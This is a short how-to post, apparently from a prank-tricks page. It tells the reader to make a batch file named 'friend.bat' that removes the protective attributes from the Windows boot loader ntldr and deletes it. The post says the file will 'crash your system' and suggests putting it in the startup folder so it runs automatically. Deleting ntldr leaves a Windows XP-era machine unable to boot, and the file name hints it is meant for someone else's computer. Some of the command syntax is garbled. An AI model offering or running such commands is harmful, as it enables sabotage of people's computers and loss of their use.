step 1: Open notepad
step 2: Now type the code as below…. Format..
attribute c:\ntldr –n –s –r
del c:\ntldr \f
ntldr stands for new technology loader
Options are permission provided by the windows operating system.
step 3: Now save as friend.bat
step 4: Now u can run this file to crash your system
step 5: If u keep this file in startup folder then it`ll execute
automatically when switch on ur computer.